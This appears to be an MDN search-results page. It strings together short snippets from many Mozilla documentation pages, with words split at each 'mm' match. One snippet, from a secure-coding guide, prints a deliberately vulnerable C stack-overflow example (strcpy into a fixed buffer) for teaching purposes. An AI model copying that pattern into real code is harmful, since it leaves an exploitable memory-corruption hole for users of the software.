...a "smart keywords" feature enhances this even further by allowing custom searches from the co
mmand line such as "word punditry" to look up the word "punditry" in an online dictionary.
...And 5 more matches
Mozilla’s UAAG evaluation report
this document is based on the september 12, 2001 candidate reco
mmendation of uaag 1.0.
... acronym element: supported abbr element: supported abbr attribute for td/th: not supported su
mmary for table: supported title for frame: ?
... acronym element: supported abbr element: supported abbr attribute for td/th: not supported su
mmary for table: supported title for frame: ?
...And 5 more matches
Simple Sunbird build
you can build a bleeding-edge, development version of sunbird using the co
mmands below.
...run these co
mmands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 problems?
... on windows, if you open the co
mmand prompt you are usually in your user profile folder which often contains spaces ( c:\documents and settings\...).
...And 5 more matches
Embedding the editor
this type of embedding requires that the composer code is agnostic to where its ui is coming from; co
mmunication between the core editor and the ui needs to go through one or more interfaces that insulate the editor from its host application.
...thence, lots of javascript in editor.js, composerco
mmands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell.
...editor needs to call through one or more interfaces when co
mmunicating with the ui.
...And 5 more matches
Examples
nts.utils.import("resource://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { //var myvarisco
mmented = 'hi'; // i co
mmented this out s oit is undefined, this will cause rejected alert(myvarisco
mmented); return promise.resolve('yay success'); // this makes the success function trigger with asuccessreason being 'yay success' but because i co
mmented out the var 2 lines above, it will error out on the alert(myvarisco
mmented) and never get to this success line.
... unco
mmet the var 2 lines above to see the promise succesfully return } catch(ex) { return promise.reject(ex); } } copy and paste this code and the rejection will take place.
... unco
mment the line `//var myvarisco
mmented.....` and the promise will complete succesfully.
...And 5 more matches
gettext
$message); } else { return _($message); } } // new gettext keyword for plural strings with optional context argument function n___($message, $message_plural, $num, $context ="") { if($context != "") { return npgettext($context, $message, $message_plural, $num); } else { return ngettext($message, $message_plural, $num); } } // l10n: this is a block co
mment one line directly above the gettext function call.
...echo ___('a simple string.'); echo /* l10n: this is an inline co
mment.
...*/ ___('a string with context.', 'unique context string'); $num = 1; // l10n: this is another block co
mment that will be extracted by xgettext.
...And 5 more matches
Research and prep
productization is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to reco
mmended sites on the in-product pages as it relates to their locale.
...we believe that localization teams are in the best position to provide reco
mmendations on what local providers we can use for web services because you're in the market, work in the language, and know your users.
... this is, therefore, meant to be a guideline for how you should be formulating your reco
mmendations.
...And 5 more matches
Introduction to NSPR
this chapter introduces key nspr progra
mming concepts and illustrates them with sample code.
... in nspr, a mutual exclusion lock (or mutex) of type prlock controls locking, and associated condition variables of type prcondvar co
mmunicate changes in state among threads.
... when a progra
mmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data.
...And 5 more matches
NSS tools : ssltab
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy.
...instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy.
...instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
sslerr.html
ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to co
mmunicate securely.
... ssl_error_us_only_server -12287 "unable to co
mmunicate securely.
... ssl_error_no_cypher_overlap -12286 "cannot co
mmunicate securely with peer: no co
mmon encryption algorithm(s)." the local and remote systems share no cipher suites in co
mmon.
...And 5 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy.
...instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
64-bit Compatibility
lir safety it is not i
mmediately clear from reading lir which opcodes should be used for 64-bit safety.
...for example, this code will not load a native integer correctly on a 64-bit machine: struct object { void *data; }; lir->insload(lir_ld, objins, ins->insi
mm(offsetof(object, data))); lir_ld is 32-bit.
...luckily there is an alias that will choose the right opcode for you - lir_ldp: struct object { void *data; }; lir->insload(lir_ldp, objins, ins->insi
mm(offsetof(object, data))); when you use lirwriter::insstore, the correct size is chosen for you automatically, based on the size of the input operands.
...And 5 more matches
Secure Development Guidelines
introduction provide developers with information on specific security issues cover co
mmon coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modi...
... introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the eip or sensitive memory saved return addr or function pointer get altered introduction: gaining control (3) co
mmon issues used to gain control buffer overflows format string bugs integer overflows/underflows writing secure code: input validation input validation most vulnerabilities are a result of un-validated input always perform input validation could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input does...
... bbv: stack overflow example: void foo(char *bar) { char c[12]; strcpy(c, bar); } int main(int argc, char **argv) { foo(argv[1]); } bbv: stack overflow before the stack overflow bbv: stack overflow after the stack overflow bbv: heap overflow dynamic memory malloc() calloc() heapalloc()
mmap() not on the stack segment!
...And 5 more matches
nsIMsgFolder
window,in nsisupportsarray aofflinefolderarray); void emptytrash(in nsimsgwindow amsgwindow, in nsiurllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesu
mmarytotals(in boolean force); void su
mmarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in un...
...oid downloadmessagesforoffline(in nsisupportsarray messages, in nsimsgwindow window); nsimsgfolder getchildwithuri(in acstring uri, in boolean deep, in boolean caseinsensitive); void downloadallforoffline(in nsiurllistener listener, in nsimsgwindow window); void enablenotifications(in long notificationtype, in boolean enable, in boolean dbbatching); boolean isco
mmandenabled(in acstring co
mmand); boolean matchorchangefilterdestination(in nsimsgfolder folder,in boolean caseinsensitive); boolean confirmfolderdeletionforfilter(in nsimsgwindow msgwindow); void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldernamefrombundle(in s...
...essages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfro
mmessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsghdr, in nsiinputstream astream, in long abytestoread, in long amaxoutputlen, in boolean acompressquotes); attributes attribute type description supportsoffline boolean readonly offlinestoreoutputstream nsioutputstream reado...
...And 5 more matches
nsISmsRequestManager
to create an instance, use: var smsrequestmanager = components.classes["@mozilla.org/sms/smsrequestmanager;1"] .createinstance(components.interfaces.nsismsrequestmanager); method overview long addrequest(in nsido
mmozsmsrequest arequest); long createrequest(in nsido
mmozsmsmanager amanager, out nsido
mmozsmsrequest arequest); void notifycreatemessagelist(in long arequestid, in long alistid, in nsido
mmozsmsmessage amessage); void notifygetsmsfailed(in long arequestid, in long aerror); void notifygotnextmessage(in long arequestid, in nsido
mmozsmsmessage amessage); void notifygotsms(in long arequestid, ...
...in nsido
mmozsmsmessage amessage); void notifymarkedmessageread(in long arequestid, in bool aread); void notifymarkmessagereadfailed(in long arequestid, in long aerror); void notifynomessageinlist(in long arequestid); void notifyreadmessagelistfailed(in long arequestid, in long aerror); void notifysmsdeleted(in long arequestid, in bool adeleted); void notifysmsdeletefailed(in long arequestid, in long aerror); void notifysmssendfailed(in long arequestid, in long aerror); void notifysmssent(in long arequestid, in nsido
mmozsmsmessage amessage); constants all sms related errors that could apply to smsrequest objects.
...long addrequest( in nsido
mmozsmsrequest arequest ); parameters arequest an smsrequest.
...And 5 more matches
nsIURL
.getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getco
mmonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a url.
... methods getco
mmonbasespec() this method takes a uri and compares the two.
... the co
mmon uri portion is returned as a string.
...And 5 more matches
Examine and edit HTML - Firefox Developer Tools
element popup context menu you can perform certain co
mmon tasks on a specific node using a popup context menu.
...the menu contains the following items — click on the links to find the description of each co
mmand in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ...
... show dom properties open the split console and enter the console co
mmand "inspect($0)" to inspect the currently selected element.
...And 5 more matches
Detecting device orientation - Web APIs
sensors that are co
mmonly capable of detecting devicemotionevent include sensors in laptops to protect moving storage devices.
... deviceorientationevent is more co
mmonly found in mobile devices.
... the orientation event contains four values: deviceorientationevent.absolute deviceorientationevent.alpha deviceorientationevent.beta deviceorientationevent.ga
mma the event handler function can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var ga
mma = event.ga
mma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation around a given axis in reference to...
...And 5 more matches
IDBTransaction - Web APIs
this property is null if the transaction is not finished, is finished and successfully co
mmitted, or was aborted with theidbtransaction.abort() function.
... idbtransaction.co
mmit() for an active transaction, co
mmits the transaction.
... note that this doesn't normally have to be called — a transaction will automatically co
mmit when all outstanding requests have been satisfied and no new requests have been made.
...And 5 more matches
Transcoding assets for Media Source Extensions - Web APIs
big buck bunny is licensed under the creative co
mmons attribution 3.0 license.
... [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a co
mmand-line utility for transcoding your media into the required formats.
... bento4 — a set of co
mmand-line utilities for getting asset metadata and creating content for dash.
...And 5 more matches
SVGTransformList - Web APIs
form initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfro
mmatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list.
...any changes made to the item are i
mmediately reflected in the list.
... createsvgtransformfro
mmatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix.
...And 5 more matches
SpeechRecognition - Web APIs
speechrecognition.gra
mmars returns and sets a collection of speechgra
mmar objects that represent the gra
mmars that will be understood by the current speechrecognition.
... speechrecognition.start() starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition.
... result fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been co
mmunicated back to the app.
...And 5 more matches
WebGLRenderingContext.bufferData() - Web APIs
possible values: gl.static_draw: the contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification co
mmands.
... gl.dynamic_draw: the contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification co
mmands.
... gl.stream_draw: the contents are intended to be specified once by the application, and used at most a few times as the source for webgl drawing and image specification co
mmands.
...And 5 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
however, despite that flexibility in transport and co
mmunication of signaling messages, there's still a reco
mmended design pattern you should follow when possible, known as perfect negotiation.
... this article introduces webrtc perfect negotiation, describing how it works and why it's the reco
mmended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique.
...negotiation is an inherently asy
mmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." the perfect negotiation pattern smooths this difference away by separating that difference out into independent negotiation logic, so that your application doesn't need to care which end of the connection it is.
...And 5 more matches
WebRTC API - Web APIs
webrtc (web real-time co
mmunication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... webrtc connectivity a guide to how webrtc connections work and how the various protocols and interfaces can be used together to build powerful co
mmunication apps.
... lifetime of a webrtc session webrtc lets you build peer-to-peer co
mmunication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
...And 5 more matches
Writing WebSocket servers - Web APIs
a websocket server can be written in any server-side progra
mming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript.
... this article assumes you're already familiar with how http works, and that you have a moderate level of progra
mming experience.
...also, co
mmon headers like user-agent, referer, cookie, or authentication headers might be there as well.
...And 5 more matches
Using Web Workers - Web APIs
terminating a worker if you need to i
mmediately terminate a running worker from the main thread, you can do so by calling the worker's terminate method: myworker.terminate(); the worker thread is killed i
mmediately.
... spawning a shared worker spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following: var myworker = new sharedworker('worker.js'); one big difference is that with a shared worker you have to co
mmunicate via a port object — an explicit port is opened that the scripts can use to co
mmunicate with the worker (this is done implicitly in the case of dedicated workers).
... note: when using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way co
mmunication is needed.
...And 5 more matches
size - CSS: Cascading Style Sheets
<page-size> a5 this matches the standard, iso dimensions: 148
mm x 210
mm.
... a4 this matches the standard, iso dimensions: 210
mm x 297
mm.
... (most frequently used dimensions for personal printing.) a3 this matches the standard, iso dimensions: 297
mm x 420
mm.
...And 5 more matches
HTML5 Parser - Developer guides
lack of reparsing prior to html5, parsers reparsed the document if they hit the end of the file within certain elements or within co
mments.
... for example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a co
mment was not closed, it would look for the first '>'.
... if you forget to close a co
mment, the page will most likely fail to be parsed.
...And 5 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
a co
mma-separated list of coordinates.
... inaccessible, weak link text a sadly co
mmon mistake is to only link the words “click here” or “here”: <p> learn more about our products <a href="/products">here</a>.
... skip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice co
mmand, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious.
...And 5 more matches
<textarea> - HTML: Hypertext Markup Language
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a co
mment on a review or feedback form.
... the <textarea> element also accepts several attributes co
mmon to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.
...the value can be: true: indicates that the element needs to have its spelling and gra
mmar checked.
...And 5 more matches
Link types - HTML: Hypertext Markup Language
note: this may be a mailto: hyperlink, but this is not reco
mmended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address.
... this allows for bookmarking a single article in a page containing multiple articles, such as on a monthly su
mmary blog page, or a blog aggregator.
... nofollow indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is co
mmercial relationship between the two (sold link).
...And 5 more matches
Microformats - HTML: Hypertext Markup Language
su
mmary microformats (sometimes abbreviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools.
..."p-name", "p-su
mmary" generic plain text parsing, element text in general.
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time></p> <p class="p-su
mmary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> properties property description p-name entry name/title p-author who wrote the entry, optionally embedded h-card dt-published when the entry was published p-su
mmary short entry su
mmary e-content...
...And 5 more matches
Cache-Control - HTTP
header type general header forbidden header name no cors-safelisted response header yes syntax caching directives have the following rules to be valid: case-insensitive, but lowercase is reco
mmended.
... multiple directives are co
mma-separated.
... cache-control: i
mmutable cache-control: stale-while-revalidate=<seconds> cache-control: stale-if-error=<seconds> directives cacheability a response is normally cached by the browser if: it has a status code of 301, 302, 307, 308, or 410 and cache-control does not have no-store, or if proxy, does not have private and authorization is unset either has a status code of 301, 302, 307, 308, or 410 or ...
...And 5 more matches
Protocol upgrade mechanism - HTTP
co
mmon uses for this mechanism here we look at the most co
mmon use cases for the upgrade header.
... upgrading to a websocket connection by far, the most co
mmon use case for upgrading an http connection is to use websockets, which are always implemented by upgrading an http or https connection.
... sec-websocket-extensions: extensions extensions a co
mma-separated list of extensions to request (or agree to support).
...And 5 more matches
JavaScript data types and data structures - JavaScript
progra
mming languages all have built-in data structures, but these often differ from one language to another.
... primitive values all types except objects define i
mmutable values (that is, values which can't be changed).
... for example (and unlike in c), strings are i
mmutable.
...And 5 more matches
JavaScript modules - JavaScript
node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other co
mmonjs and amd-based module systems like requirejs, and more recently webpack and babel).
... full support 46safari ios full support 11.3samsung internet android full support 8.0nodejs full support 13.2.0notes full support 13.2.0notes notes dynamic import can be used in either co
mmonjs or es module files, to import either co
mmonjs or es module files.
... full support 12.0.0notes disabled notes dynamic import can be used in either co
mmonjs or es module files, to import either co
mmonjs or es module files.
...And 5 more matches
Promise - JavaScript
this lets asynchronous methods return values like synchronous methods: instead of i
mmediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future.
...sometimes there is no choice, because an error must be handled i
mmediately.
... (see throw -999 in the example, below, for a technique to handle the consequences.) on the other hand, in the absence of an i
mmediate need, it is simpler to leave out error handling until a final .catch() statement.
...And 5 more matches
Media container formats (file types) - Web media technologies
in this guide, we'll look at the container formats used most co
mmonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.
...see codecs used by webrtc for information about codecs co
mmonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc.
... co
mmon container formats while there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter.
...And 5 more matches
Tutorials
these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as creative co
mmons.
... creating a simple web page with html an html guide for beginners that includes explanations of co
mmon tags, including html5 tags.
...this module covers basic table markup, along with more complex features such as implementing captions and su
mmaries.
...And 5 more matches
2015 MDN Fellowship Program - Archive of obsolete content
who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of their teaching and co
mmunications.
... what seven weeks of partnering closely with mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best practices for effectively co
mmunicating and educating with technical information.
... github: brittanystoroz twitter: @brittanystoroz webgl brief project description webgl is the latest incarnation of the opengl family of real time rendering i
mmediate mode graphics apis.
...And 4 more matches
dev/panel - Archive of obsolete content
mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", // when the panel is created, // take a reference to the debuggee setup: function(options) { this.debuggee = options.debuggee; }, dispose: function() { this.debuggee = null; }, onready: function() { // in this function you can co
mmunicate // with the panel document } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta c...
...however, it can receive messages from the add-on that created it, and the add-on can pass it the debuggee so it can co
mmunicate with the debugger server the developer tools are targeting.
... co
mmunicating with the panel document the main add-on code can't directly access the panel document or any scripts loaded by the panel document.
...And 4 more matches
jpm-mobile - Archive of obsolete content
jpm usage is: jpm-mobile [co
mmand] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already.
... after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the co
mmand prompt, type: jpm-mobile you should see a screen su
mmarizing the available jpm-mobile co
mmands.
... note that unlike cfx, jpm-mobile is available in every co
mmand prompt you start, as long as you installed it with the -g flag.
...And 4 more matches
Developing for Firefox Mobile - Archive of obsolete content
we'll use the android debug bridge (adb) to co
mmunicate between the add-on sdk and the device.
... now open up a co
mmand shell.
...then execute jpm-mobile run with some extra options: jpm-mobile run --adb /path/to/adb in the co
mmand shell, you should see something like: launching mobile application with intent name org.mozilla.fennec pushing the addon to your device starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'.
...And 4 more matches
Using third-party modules (jpm) - Archive of obsolete content
the add-on sdk includes a co
mmand-line tool that you use to initialize, run, test, and package add-ons.
... to follow this tutorial you'll need to have installed jpm and learned the basic jpm co
mmands.
... to install menuitem you'll need to have git co
mmand.
...And 4 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" onco
mmand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here.
...it's a co
mma-separated list of ids, and it can also include other special values: spacer, separator and spring.
...having multiple copies of these files can be wasteful, so you may want to have a "co
mmon" directory.
...And 4 more matches
Adding menus and submenus - Archive of obsolete content
« previousnext » the hello world example in the previous sections shows the two most co
mmon ways to add menus.
... the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" onco
mmand="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoo...
...lhello.greet.custom.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
...And 4 more matches
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional co
mma-separated list of features, which describe the behavior and appearance of the window.
...it allows you to send a set of optional parameters that can be used to co
mmunicate with the dialog.
... co
mmon dialogs and the prompt service there are several types of dialogs that are fairly co
mmon, so there are ways to create them easily without having to reinvent the wheel and write all their xul and js code all over again.
...And 4 more matches
Intercepting Page Loads - Archive of obsolete content
we will start with the simplest one, which is also the most co
mmon to use.
...read the reco
mmendations in appendix a regarding performance if you're planning on implementing any of these.
...few modern sites use framesets, but it is co
mmon for ads to appear inside iframe elements.
...And 4 more matches
Introduction - Archive of obsolete content
we have poured years of xul experience into it, providing many solutions for problems extension developers co
mmonly run into.
...you'll learn how to quickly do the most co
mmon tasks in extension development, comparing several different approaches to solve them.
...this will help you understand the culture that surrounds the mozilla co
mmunity.
...And 4 more matches
The Box Model - Archive of obsolete content
we reco
mmend you play around with it for a while to get an idea of how the basic parts of the box model work.
...the css property may be useful on some occasions, but using the orient attribute is not reco
mmended because it mixes content and presentation.
...the latter are reco
mmended to keep style code in the skin section of the chrome.
...And 4 more matches
User Notifications and Alerts - Archive of obsolete content
they interrupt the user's workflow, demanding i
mmediate action before anything else can be done.
... this kind on notification is very easy to implement, it doesn't interrupt the user and is easy to read and dismiss, so it is our reco
mmended way of displaying alerts and notifications.
...also, clicking on any of your custom buttons will cause the notification to be i
mmediately closed, so you should only use notification boxes for single-step processes.
...And 4 more matches
Signing an XPI - Archive of obsolete content
you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the co
mmand-line (preferably using a batch file).
... c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your new directories c:\apps\nss-3.11.4\ and c:\apps\nspr-4.6\ including sub directories to the same directory - fx c:\apps\codesigning\ - and then run every co
mmand from that.
...use this co
mmand to create it (note the trailing dot is required).
...And 4 more matches
Tabbed browser - Archive of obsolete content
the co
mments normally mark where you should be inserting your own code.
...within the firefox browser are tabs and inside each tab is a browser, both in the co
mmon sense of a web page browser and the xul sense of a browser element.
... getting access to the browser from main window code running in firefox's global chromewindow, co
mmon for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser.
...And 4 more matches
Running Tamarin acceptance tests - Archive of obsolete content
reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtoco
mmon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ...
... can also be using in conjunction with --threads -f --forcerebuild force rebuild all test files -q --quiet : will print a period (.) for each test run regardless of results, then print the test run su
mmary when finished --ascargs= : additional arguments to pass to asc.jar --vmargs= : additional arguments to pass to avmshell --random : run tests in random order --timeout : max time for testrun --verify : run a verify pass instead of running abcs --verifyonly : run a -dverifyonly pass: only checks test exitcode (only works with debugger vms) testing the android shell the instructions above apply...
...the /android-public/android-vars.sh script has co
mmented-out examples of the environment settings for running tests on the android avm shell.
...And 4 more matches
Introduction to XUL - Archive of obsolete content
terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a ha
mmer.
... applications, for instance, will have preconceived notions of what to do when they receive an "open file" co
mmand.
...it will send its co
mmand to the application for processing, generally using some simple javascript for linkage.
...And 4 more matches
OpenClose - Archive of obsolete content
here is a complete example which uses a button to open a menu: <button label="open menu" onco
mmand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag.
... as with other ways of opening a menu, the popupshowing event will be fired to provide an opportunity to customize the co
mmands that appear on the menu.
...when an menu item is selected, it fires a co
mmand event so that code may be used to perform an action.
...And 4 more matches
Popup Guide - Archive of obsolete content
menus a menu is used when you wish to have a series of co
mmands that can be activated by the user, but don't want to use the extra space for a button for each co
mmand.
... a menu is normally hidden, and when activated, a popup appears containing the list of co
mmands.
... the user may select a co
mmand and the menu disappears again.
...And 4 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ition="15"/> </hbox> <!-- composer --> <toolbar id="edittoolbar"> <toolbarbutton id="custom-button-1" position="18"/> </toolbar> <!-- chat --> <menubar id="mainmenu"> <menu id="custom-menu" position="4" label="custom" accesskey="c"> <menupopup> <menuitem id="custom-item-1" label="custom item 1" accesskey="1" tooltiptext="my custom menu item" onco
mmand="custombutton[1]()" /> </menupopup> </menu> </menubar> <!-- calendar --> <toolbar id="calendar-bar"> <toolbarbutton id="custom-button-1" position="10"/> </toolbar> <!-- button details --> <toolbarbutton id="custom-button-1" label="custom" tooltiptext="my custom toolbar button" onco
mmand="custombutton[1]()" class="toolbarbutton-1 custombutton" /> </overlay> ...
...paste it into the new file: #custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1s.png");} /* co
mmon style for all custom buttons - modern */ #nav-bar .custombutton {-moz-image-region: rect( 0px 41px 39px 0px);} #nav-bar .custombutton:hover {-moz-image-region: rect( 0px 83px 39px 42px);} #nav-bar .custombutton:active {-moz-image-region: rect( 0px 125px 39px 84px);} .custombutton {-moz-image-region: rect(39px 49px 72px 0px);} .custombutton:hover {-moz-image-region: rect(39px 98...
...px 72px 49px);} .custombutton:active {-moz-image-region: rect(39px 147px 72px 98px);} /* co
mmon style for all custom buttons - classic */ .custombutton {-moz-image-region: rect( 0px 145px 20px 126px);} .custombutton:hover {-moz-image-region: rect( 0px 164px 20px 145px);} .custombutton:active {-moz-image-region: rect( 0px 183px 20px 164px);} remove one of the co
mmon style sections, leaving the section for the theme that you use in seamonkey.
...And 4 more matches
Box Objects - Archive of obsolete content
example 1 : source view <button label="click me" onco
mmand="alert('the width is ' + this.boxobject.width);"/> you can use the width and height attributes of the element to specify the element's width and height, respectively.
